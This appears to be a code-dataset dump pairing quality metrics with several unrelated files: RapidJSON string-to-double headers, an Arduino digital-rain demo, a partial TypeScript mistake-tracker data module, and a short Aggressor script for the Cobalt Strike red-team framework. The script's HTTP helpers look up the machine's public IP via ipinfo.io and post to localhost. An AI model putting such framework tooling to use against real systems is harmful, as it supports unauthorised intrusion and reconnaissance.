"qsc_code_num_chars_line_mean": 65.36363636, "qsc_code_frac_chars_alphabet": 0.38196457, "qsc_code_frac_chars_comments": 0.27566064, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00537634, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.03448276, "qsc_codec_frac_lines_func_ratio": 0.03448276, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.06896552, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
0
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 1, "qsc_code_frac_chars_digital": 1, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/lottie/rapidjson/internal/strfunc.h
|
// Tencent is pleased to support the open source community by making RapidJSON available.
//
// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. All rights reserved.
//
// Licensed under the MIT License (the "License"); you may not use this file except
// in compliance with the License. You may obtain a copy of the License at
//
// http://opensource.org/licenses/MIT
//
// Unless required by applicable law or agreed to in writing, software distributed
// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
// CONDITIONS OF ANY KIND, either express or implied. See the License for the
// specific language governing permissions and limitations under the License.
#ifndef RAPIDJSON_INTERNAL_STRFUNC_H_
#define RAPIDJSON_INTERNAL_STRFUNC_H_
#include "../stream.h"
#include <cwchar>
RAPIDJSON_NAMESPACE_BEGIN
namespace internal {
//! Custom strlen() which works on different character types.
/*! \tparam Ch Character type (e.g. char, wchar_t, short)
\param s Null-terminated input string.
\return Number of characters in the string.
\note This has the same semantics as strlen(), the return value is not number of Unicode codepoints.
*/
template <typename Ch>
inline SizeType StrLen(const Ch* s) {
RAPIDJSON_ASSERT(s != 0);
const Ch* p = s;
while (*p) ++p;
return SizeType(p - s);
}
template <>
inline SizeType StrLen(const char* s) {
return SizeType(std::strlen(s));
}
template <>
inline SizeType StrLen(const wchar_t* s) {
return SizeType(std::wcslen(s));
}
//! Returns number of code points in a encoded string.
template<typename Encoding>
bool CountStringCodePoint(const typename Encoding::Ch* s, SizeType length, SizeType* outCount) {
RAPIDJSON_ASSERT(s != 0);
RAPIDJSON_ASSERT(outCount != 0);
GenericStringStream<Encoding> is(s);
const typename Encoding::Ch* end = s + length;
SizeType count = 0;
while (is.src_ < end) {
unsigned codepoint;
if (!Encoding::Decode(is, &codepoint))
return false;
count++;
}
*outCount = count;
return true;
}
} // namespace internal
RAPIDJSON_NAMESPACE_END
#endif // RAPIDJSON_INTERNAL_STRFUNC_H_
| 2,199
|
strfunc
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 298, "qsc_code_num_chars": 2199.0, "qsc_code_mean_word_length": 5.18791946, "qsc_code_frac_words_unique": 0.5033557, "qsc_code_frac_chars_top_2grams": 0.03880983, "qsc_code_frac_chars_top_3grams": 0.0465718, "qsc_code_frac_chars_top_4grams": 0.04851229, "qsc_code_frac_chars_dupe_5grams": 0.04398448, "qsc_code_frac_chars_dupe_6grams": 0.04398448, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00560852, "qsc_code_frac_chars_whitespace": 0.1891769, "qsc_code_size_file_byte": 2199.0, "qsc_code_num_lines": 69.0, "qsc_code_num_chars_line_max": 105.0, "qsc_code_num_chars_line_mean": 31.86956522, "qsc_code_frac_chars_alphabet": 0.86146943, "qsc_code_frac_chars_comments": 0.51978172, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.1025641, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.01041667, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.07692308, "qsc_codec_frac_lines_func_ratio": 0.17948718, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.28205128, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/lottie/rapidjson/internal/strtod.h
|
// Tencent is pleased to support the open source community by making RapidJSON available.
//
// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. All rights reserved.
//
// Licensed under the MIT License (the "License"); you may not use this file except
// in compliance with the License. You may obtain a copy of the License at
//
// http://opensource.org/licenses/MIT
//
// Unless required by applicable law or agreed to in writing, software distributed
// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
// CONDITIONS OF ANY KIND, either express or implied. See the License for the
// specific language governing permissions and limitations under the License.
#ifndef RAPIDJSON_STRTOD_
#define RAPIDJSON_STRTOD_
#include "ieee754.h"
#include "biginteger.h"
#include "diyfp.h"
#include "pow10.h"
#include <climits>
#include <limits>
RAPIDJSON_NAMESPACE_BEGIN
namespace internal {
inline double FastPath(double significand, int exp) {
if (exp < -308)
return 0.0;
else if (exp >= 0)
return significand * internal::Pow10(exp);
else
return significand / internal::Pow10(-exp);
}
inline double StrtodNormalPrecision(double d, int p) {
if (p < -308) {
// Prevent expSum < -308, making Pow10(p) = 0
d = FastPath(d, -308);
d = FastPath(d, p + 308);
}
else
d = FastPath(d, p);
return d;
}
template <typename T>
inline T Min3(T a, T b, T c) {
T m = a;
if (m > b) m = b;
if (m > c) m = c;
return m;
}
inline int CheckWithinHalfULP(double b, const BigInteger& d, int dExp) {
const Double db(b);
const uint64_t bInt = db.IntegerSignificand();
const int bExp = db.IntegerExponent();
const int hExp = bExp - 1;
int dS_Exp2 = 0, dS_Exp5 = 0, bS_Exp2 = 0, bS_Exp5 = 0, hS_Exp2 = 0, hS_Exp5 = 0;
// Adjust for decimal exponent
if (dExp >= 0) {
dS_Exp2 += dExp;
dS_Exp5 += dExp;
}
else {
bS_Exp2 -= dExp;
bS_Exp5 -= dExp;
hS_Exp2 -= dExp;
hS_Exp5 -= dExp;
}
// Adjust for binary exponent
if (bExp >= 0)
bS_Exp2 += bExp;
else {
dS_Exp2 -= bExp;
hS_Exp2 -= bExp;
}
// Adjust for half ulp exponent
if (hExp >= 0)
hS_Exp2 += hExp;
else {
dS_Exp2 -= hExp;
bS_Exp2 -= hExp;
}
// Remove common power of two factor from all three scaled values
int common_Exp2 = Min3(dS_Exp2, bS_Exp2, hS_Exp2);
dS_Exp2 -= common_Exp2;
bS_Exp2 -= common_Exp2;
hS_Exp2 -= common_Exp2;
BigInteger dS = d;
dS.MultiplyPow5(static_cast<unsigned>(dS_Exp5)) <<= static_cast<unsigned>(dS_Exp2);
BigInteger bS(bInt);
bS.MultiplyPow5(static_cast<unsigned>(bS_Exp5)) <<= static_cast<unsigned>(bS_Exp2);
BigInteger hS(1);
hS.MultiplyPow5(static_cast<unsigned>(hS_Exp5)) <<= static_cast<unsigned>(hS_Exp2);
BigInteger delta(0);
dS.Difference(bS, &delta);
return delta.Compare(hS);
}
inline bool StrtodFast(double d, int p, double* result) {
// Use fast path for string-to-double conversion if possible
// see http://www.exploringbinary.com/fast-path-decimal-to-floating-point-conversion/
if (p > 22 && p < 22 + 16) {
// Fast Path Cases In Disguise
d *= internal::Pow10(p - 22);
p = 22;
}
if (p >= -22 && p <= 22 && d <= 9007199254740991.0) { // 2^53 - 1
*result = FastPath(d, p);
return true;
}
else
return false;
}
// Compute an approximation and see if it is within 1/2 ULP
inline bool StrtodDiyFp(const char* decimals, int dLen, int dExp, double* result) {
uint64_t significand = 0;
int i = 0; // 2^64 - 1 = 18446744073709551615, 1844674407370955161 = 0x1999999999999999
for (; i < dLen; i++) {
if (significand > RAPIDJSON_UINT64_C2(0x19999999, 0x99999999) ||
(significand == RAPIDJSON_UINT64_C2(0x19999999, 0x99999999) && decimals[i] > '5'))
break;
significand = significand * 10u + static_cast<unsigned>(decimals[i] - '0');
}
if (i < dLen && decimals[i] >= '5') // Rounding
significand++;
int remaining = dLen - i;
const int kUlpShift = 3;
const int kUlp = 1 << kUlpShift;
int64_t error = (remaining == 0) ? 0 : kUlp / 2;
DiyFp v(significand, 0);
v = v.Normalize();
error <<= -v.e;
dExp += remaining;
int actualExp;
DiyFp cachedPower = GetCachedPower10(dExp, &actualExp);
if (actualExp != dExp) {
static const DiyFp kPow10[] = {
DiyFp(RAPIDJSON_UINT64_C2(0xa0000000, 0x00000000), -60), // 10^1
DiyFp(RAPIDJSON_UINT64_C2(0xc8000000, 0x00000000), -57), // 10^2
DiyFp(RAPIDJSON_UINT64_C2(0xfa000000, 0x00000000), -54), // 10^3
DiyFp(RAPIDJSON_UINT64_C2(0x9c400000, 0x00000000), -50), // 10^4
DiyFp(RAPIDJSON_UINT64_C2(0xc3500000, 0x00000000), -47), // 10^5
DiyFp(RAPIDJSON_UINT64_C2(0xf4240000, 0x00000000), -44), // 10^6
DiyFp(RAPIDJSON_UINT64_C2(0x98968000, 0x00000000), -40) // 10^7
};
int adjustment = dExp - actualExp;
RAPIDJSON_ASSERT(adjustment >= 1 && adjustment < 8);
v = v * kPow10[adjustment - 1];
if (dLen + adjustment > 19) // has more digits than decimal digits in 64-bit
error += kUlp / 2;
}
v = v * cachedPower;
error += kUlp + (error == 0 ? 0 : 1);
const int oldExp = v.e;
v = v.Normalize();
error <<= oldExp - v.e;
const int effectiveSignificandSize = Double::EffectiveSignificandSize(64 + v.e);
int precisionSize = 64 - effectiveSignificandSize;
if (precisionSize + kUlpShift >= 64) {
int scaleExp = (precisionSize + kUlpShift) - 63;
v.f >>= scaleExp;
v.e += scaleExp;
error = (error >> scaleExp) + 1 + kUlp;
precisionSize -= scaleExp;
}
DiyFp rounded(v.f >> precisionSize, v.e + precisionSize);
const uint64_t precisionBits = (v.f & ((uint64_t(1) << precisionSize) - 1)) * kUlp;
const uint64_t halfWay = (uint64_t(1) << (precisionSize - 1)) * kUlp;
if (precisionBits >= halfWay + static_cast<unsigned>(error)) {
rounded.f++;
if (rounded.f & (DiyFp::kDpHiddenBit << 1)) { // rounding overflows mantissa (issue #340)
rounded.f >>= 1;
rounded.e++;
}
}
*result = rounded.ToDouble();
return halfWay - static_cast<unsigned>(error) >= precisionBits || precisionBits >= halfWay + static_cast<unsigned>(error);
}
inline double StrtodBigInteger(double approx, const char* decimals, int dLen, int dExp) {
RAPIDJSON_ASSERT(dLen >= 0);
const BigInteger dInt(decimals, static_cast<unsigned>(dLen));
Double a(approx);
int cmp = CheckWithinHalfULP(a.Value(), dInt, dExp);
if (cmp < 0)
return a.Value(); // within half ULP
else if (cmp == 0) {
// Round towards even
if (a.Significand() & 1)
return a.NextPositiveDouble();
else
return a.Value();
}
else // adjustment
return a.NextPositiveDouble();
}
inline double StrtodFullPrecision(double d, int p, const char* decimals, size_t length, size_t decimalPosition, int exp) {
RAPIDJSON_ASSERT(d >= 0.0);
RAPIDJSON_ASSERT(length >= 1);
double result = 0.0;
if (StrtodFast(d, p, &result))
return result;
RAPIDJSON_ASSERT(length <= INT_MAX);
int dLen = static_cast<int>(length);
RAPIDJSON_ASSERT(length >= decimalPosition);
RAPIDJSON_ASSERT(length - decimalPosition <= INT_MAX);
int dExpAdjust = static_cast<int>(length - decimalPosition);
RAPIDJSON_ASSERT(exp >= INT_MIN + dExpAdjust);
int dExp = exp - dExpAdjust;
// Make sure length+dExp does not overflow
RAPIDJSON_ASSERT(dExp <= INT_MAX - dLen);
// Trim leading zeros
while (dLen > 0 && *decimals == '0') {
dLen--;
decimals++;
}
// Trim trailing zeros
while (dLen > 0 && decimals[dLen - 1] == '0') {
dLen--;
dExp++;
}
if (dLen == 0) { // Buffer only contains zeros.
return 0.0;
}
// Trim right-most digits
const int kMaxDecimalDigit = 767 + 1;
if (dLen > kMaxDecimalDigit) {
dExp += dLen - kMaxDecimalDigit;
dLen = kMaxDecimalDigit;
}
// If too small, underflow to zero.
// Any x <= 10^-324 is interpreted as zero.
if (dLen + dExp <= -324)
return 0.0;
// If too large, overflow to infinity.
// Any x >= 10^309 is interpreted as +infinity.
if (dLen + dExp > 309)
return std::numeric_limits<double>::infinity();
if (StrtodDiyFp(decimals, dLen, dExp, &result))
return result;
// Use approximation from StrtodDiyFp and make adjustment with BigInteger comparison
return StrtodBigInteger(result, decimals, dLen, dExp);
}
} // namespace internal
RAPIDJSON_NAMESPACE_END
#endif // RAPIDJSON_STRTOD_
| 8,994
|
strtod
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 1114, "qsc_code_num_chars": 8994.0, "qsc_code_mean_word_length": 4.86535009, "qsc_code_frac_words_unique": 0.26570916, "qsc_code_frac_chars_top_2grams": 0.02398524, "qsc_code_frac_chars_top_3grams": 0.03653137, "qsc_code_frac_chars_top_4grams": 0.02841328, "qsc_code_frac_chars_dupe_5grams": 0.08376384, "qsc_code_frac_chars_dupe_6grams": 0.05461255, "qsc_code_frac_chars_dupe_7grams": 0.01143911, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.07594937, "qsc_code_frac_chars_whitespace": 0.26217478, "qsc_code_size_file_byte": 8994.0, "qsc_code_num_lines": 290.0, "qsc_code_num_chars_line_max": 127.0, "qsc_code_num_chars_line_mean": 31.0137931, "qsc_code_frac_chars_alphabet": 0.74080772, "qsc_code_frac_chars_comments": 0.21191906, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.07772021, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00564334, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.02539503, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.04663212, "qsc_codec_frac_lines_func_ratio": 0.0880829, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.15544041, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/TP_Arduino_DigitalRain_Anim
|
examples/Demo_ArduinoGFX_Basic/Demo_ArduinoGFX_Basic.ino
|
#include <Arduino_GFX_Library.h>
#include <DigitalRainAnimation.hpp>
#define TFT_BL 45
Arduino_ESP32RGBPanel *bus = new Arduino_ESP32RGBPanel(
GFX_NOT_DEFINED /* CS */, GFX_NOT_DEFINED /* SCK */, GFX_NOT_DEFINED /* SDA */,
40 /* DE */, 48 /* VSYNC */, 47 /* HSYNC */, 14 /* PCLK */,
4 /* R0 */, 5 /* R1 */, 6 /* R2 */, 7 /* R3 */, 15 /* R4 */,
16 /* G0 */, 17 /* G1 */, 18 /* G2 */, 8 /* G3 */, 3 /* G4 */, 46 /* G5 */,
9 /* B0 */, 10 /* B1 */, 11 /* B2 */, 12 /* B3 */, 13 /* B4 */
);
Arduino_RPi_DPI_RGBPanel *gfx = new Arduino_RPi_DPI_RGBPanel(
bus,
480 /* width */, 0 /* hsync_polarity */, 8 /* hsync_front_porch */, 4 /* hsync_pulse_width */, 43 /* hsync_back_porch */,
272 /* height */, 0 /* vsync_polarity */, 8 /* vsync_front_porch */, 4 /* vsync_pulse_width */, 12 /* vsync_back_porch */,
1 /* pclk_active_neg */, 9000000 /* prefer_speed */, true /* auto_flush */);
DigitalRainAnimation<Arduino_GFX> matrix_effect = DigitalRainAnimation<Arduino_GFX>();
void setup() {
Serial.begin(115200);
Serial.println("\n\n Arduino_GFX Test!");
#ifdef TFT_BL
pinMode(TFT_BL, OUTPUT);
digitalWrite(TFT_BL, HIGH);
#endif
gfx->begin();
matrix_effect.init(gfx);
}
void loop() {
matrix_effect.loop();
}
| 1,231
|
Demo_ArduinoGFX_Basic
|
ino
|
en
|
cpp
|
code
|
{"qsc_code_num_words": 168, "qsc_code_num_chars": 1231.0, "qsc_code_mean_word_length": 4.23214286, "qsc_code_frac_words_unique": 0.5952381, "qsc_code_frac_chars_top_2grams": 0.05625879, "qsc_code_frac_chars_top_3grams": 0.05485232, "qsc_code_frac_chars_top_4grams": 0.05907173, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.08457711, "qsc_code_frac_chars_whitespace": 0.18359058, "qsc_code_size_file_byte": 1231.0, "qsc_code_num_lines": 35.0, "qsc_code_num_chars_line_max": 125.0, "qsc_code_num_chars_line_mean": 35.17142857, "qsc_code_frac_chars_alphabet": 0.62288557, "qsc_code_frac_chars_comments": 0.36393176, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.02806122, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": 0.17241379, "qsc_codecpp_frac_lines_func_ratio": 0.17241379, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.24137931, "qsc_codecpp_frac_lines_print": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
|
001SPARTaN/aggressor_scripts
|
http.cna
|
# http.cna
# utilities for http requests from Aggressor scripts
# 001SPARTaN
sub http_get {
local('$output');
$url = [new java.net.URL: $1];
$stream = [$url openStream];
$handle = [SleepUtils getIOHandle: $stream, $null];
@content = readAll($handle);
foreach $line (@content) {
$output .= $line . "\r\n";
}
println($output);
}
http_get("https://ipinfo.io/json");
sub http_post {
local('$output');
$url = [new java.net.URL: $1];
$conn = [$url openConnection];
[$conn setDoOutput: true];
$payload = "testing";
println("Payload: $payload");
println("Content-Length: " . strlen($payload));
[$conn setRequestProperty: "Content-Length", strlen($payload)];
[$conn setRequestProperty: "Content-Type", "text/plain"];
$handle = [SleepUtils getIOHandle: [$conn getInputStream], [$conn getOutputStream]];
println($handle, $payload);
@content = readAll($handle);
foreach $line (@content) {
$output .= $line . "\r\n";
}
println($output);
}
http_post("http://localhost/test?param=param1");
| 1,094
|
http
|
cna
|
en
|
unknown
|
unknown
|
{}
|
0
|
{}
|
000haoji/deep-student
|
src/utils/dataManager.ts
|
// 数据管理模块 - 模拟本地数据存储
export interface MistakeItem {
id: string;
subject: string;
created_at: string;
question_images: string[];
analysis_images: string[];
user_question: string;
ocr_text: string;
tags: string[];
mistake_type: string;
status: string;
chat_history?: ChatMessage[];
}
export interface ChatMessage {
role: string;
content: string;
timestamp: string;
}
export interface ReviewSession {
id: string;
subject: string;
selected_mistake_ids: string[];
analysis: string;
created_at: string;
chat_history: ChatMessage[];
}
export interface AnalysisRequest {
subject: string;
question_image_files: File[];
analysis_image_files: File[];
user_question: string;
}
export interface AnalysisResponse {
temp_id: string;
initial_data: {
ocr_text: string;
tags: string[];
mistake_type: string;
first_answer: string;
};
}
// 本地存储键名
const STORAGE_KEYS = {
MISTAKES: 'ai_mistake_manager_mistakes',
REVIEWS: 'ai_mistake_manager_reviews',
SETTINGS: 'ai_mistake_manager_settings',
TEMP_SESSIONS: 'ai_mistake_manager_temp_sessions'
};
// 模拟数据
const MOCK_MISTAKES: MistakeItem[] = [
{
id: '1',
subject: '数学',
created_at: '2024-01-15T10:00:00Z',
question_images: [],
analysis_images: [],
user_question: '二次函数的最值问题',
ocr_text: '求函数f(x) = x² + 2x + 1的最小值',
tags: ['二次函数', '最值问题', '配方法'],
mistake_type: '计算题',
status: 'completed',
chat_history: [
{
role: 'assistant',
content: '这是一道二次函数求最值的问题。通过配方法可以得到 f(x) = (x+1)²，所以最小值为0。',
timestamp: '2024-01-15T10:05:00Z'
}
]
},
{
id: '2',
subject: '数学',
created_at: '2024-01-16T14:30:00Z',
question_images: [],
analysis_images: [],
user_question: '二次函数图像问题',
ocr_text: '画出函数y = x² - 4x + 3的图像',
tags: ['二次函数', '图像', '顶点'],
mistake_type: '作图题',
status: 'completed',
chat_history: [
{
role: 'assistant',
content: '这个函数可以配方为 y = (x-2)² - 1，顶点为(2, -1)，开口向上。',
timestamp: '2024-01-16T14:35:00Z'
}
]
},
{
id: '3',
subject: '数学',
created_at: '2024-01-17T09:15:00Z',
question_images: [],
analysis_images: [],
user_question: '一元二次方程求解',
ocr_text: '解方程x² - 5x + 6 = 0',
tags: ['一元二次方程', '因式分解', '求根公式'],
mistake_type: '计算题',
status: 'completed',
chat_history: [
{
role: 'assistant',
content: '这个方程可以因式分解为 (x-2)(x-3) = 0，所以解为 x = 2 或 x = 3。',
timestamp: '2024-01-17T09:20:00Z'
}
]
},
{
id: '4',
subject: '物理',
created_at: '2024-01-18T16:45:00Z',
question_images: [],
analysis_images: [],
user_question: '牛顿第二定律应用',
ocr_text: '质量为2kg的物体受到10N的力，求加速度',
tags: ['牛顿定律', '力学', '加速度'],
mistake_type: '计算题',
status: 'completed',
chat_history: [
{
role: 'assistant',
content: '根据牛顿第二定律 F = ma，可得 a = F/m = 10/2 = 5 m/s²。',
timestamp: '2024-01-18T16:50:00Z'
}
]
},
{
id: '5',
subject: '数学',
created_at: '2024-01-19T11:20:00Z',
question_images: [],
analysis_images: [],
user_question: '二次函数与x轴交点',
ocr_text: '求函数y = x² - 3x + 2与x轴的交点',
tags: ['二次函数', '交点', '判别式'],
mistake_type: '计算题',
status: 'completed',
chat_history: [
{
role: 'assistant',
content: '令y=0，得到 x² - 3x + 2 = 0，因式分解得 (x-1)(x-2) = 0，所以交点为(1,0)和(2,0)。',
timestamp: '2024-01-19T11:25:00Z'
}
]
}
];
class DataManager {
// 初始化数据
static initializeData() {
if (!localStorage.getItem(STORAGE_KEYS.MISTAKES)) {
localStorage.setItem(STORAGE_KEYS.MISTAKES, JSON.stringify(MOCK_MISTAKES));
}
if (!localStorage.getItem(STORAGE_KEYS.REVIEWS)) {
localStorage.setItem(STORAGE_KEYS.REVIEWS, JSON.stringify([]));
}
if (!localStorage.getItem(STORAGE_KEYS.TEMP_SESSIONS)) {
localStorage.setItem(STORAGE_KEYS.TEMP_SESSIONS, JSON.stringify({}));
}
}
// 错题管理
static getMistakes(filter?: { subject?: string; tags?: string[]; type?: string }): MistakeItem[] {
this.initializeData();
